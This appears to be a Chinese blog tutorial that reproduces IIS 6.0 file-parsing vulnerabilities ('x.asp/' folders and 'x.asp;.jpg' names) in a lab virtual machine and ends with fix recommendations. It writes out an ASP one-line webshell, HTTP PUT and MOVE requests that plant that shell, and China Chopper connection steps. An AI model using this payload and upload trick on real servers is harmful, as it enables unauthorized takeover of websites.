网络安全/渗透测试/代码审计/
关注
IIS - 解析漏洞(上)
漏洞介绍与成因
在IIS-6.0
这个版本中,搭建的服务器是2003
系统中所造成的解析漏洞的两种情况。
情况一:/liuwx.asp/liuwx.jpg
介绍:在网站的根目录下创建一个命名为liuwx.asp的文件夹,该文件夹下有一个liuwx.jpg的图片木马,也就是说该目录下的所有文件都会被当做asp脚本文件
利用:访问 www.liuwx.cn/liuwx.asp/liuwx.jpg 会吧图片解析当成asp脚本文件执行
代码语言:javascript复制情况二:`liuwx.asp;.jpg`
介绍:创建一个图片并命名为liuwx.asp;.jpg,注意有一个分号和点,的图片文件
利用:www.liuwx.cn/liuwx.asp/liuwx.asp;.jpg 会吧它当做脚本文件执行
准备工作
代码语言:javascript复制虚拟机:Windows Server 2003 Enterprise x64 Edition
物理主机和2003虚拟机必须能相互Ping通
在这里我物理主机的IP是:192.168.1.100
2003虚拟机的IP是:192.168.119.133
漏洞验证
情况一
我首先在网站根目录下
创建了一个liuwx.asp
的目录,该目录下有一个liuwx.txt文件,里面写了这是情况一
接下来吧.txt
修改为.jpg
此时,用物理机
访问2003虚拟机
的图片地址:
http://192.168.119.133/liuwx.asp/liuwx.jpg
可以看到它并没有显示图片,而是吧图片当做脚本来执行了!为了方便演示,我吧图片内容修改为asp一句话
来演示<%execute(request("cmd"))%>
:
然后用菜刀链接URL:
http://192.168.119.133/liuwx.asp/liuwx.jpg | cmd
这个时候我们就成功得到了一个webshell
情况二
在网站根目录
下创建一个命名为liuwx.asp;.jpg
的文件,其中和上面的一样,里面写了asp一句话
用菜刀链接URL:
http://192.168.119.133/liuwx.asp;.jpg | cmd
这个时候我们就又成功得到了一个webshell
通过PUT漏洞来利用IIS6.0解析漏洞
关于PUT
漏洞可以看我之前写的文章:http://www.liuwx.cn/IIS-1.html
HTTP/1.1 201 Created
Date: Fri, 16 Aug 2019 15:33:02 GMT
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Location: http://192.168.119.133/test.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK
服务器验证一下看看存在不存在:
上传成功!
当然,我们上传txt
文件并没有什么作用,我们得上传脚本文件才可以发挥作用。
我们上传先用PUT
上传一个shell.txt
:
上传成功后我们再选择MOVE
:
切记数据包中一定要加:;.jpg
MOVE /shell.txt HTTP/1.1
Host: 192.168.119.133
Destination: http://192.168.119.133/shell.asp;.jpg
这个时候就成功上传了一个shell.asp;/jpg
的文件!
我们使用中国菜刀
连接一下Shell:
这个时候就拿到了网站的控制权限!
修复建议
程序方面:
1、对新建目录文件名进行过滤,不允许新建包含.
的文件夹
2、取消网站后台新建目录的功能,不允许新建目录
3、限制上传的脚本执行权限,不允许执行脚本
4、过滤.asp/*.jpg
,通过ISApi
组件过滤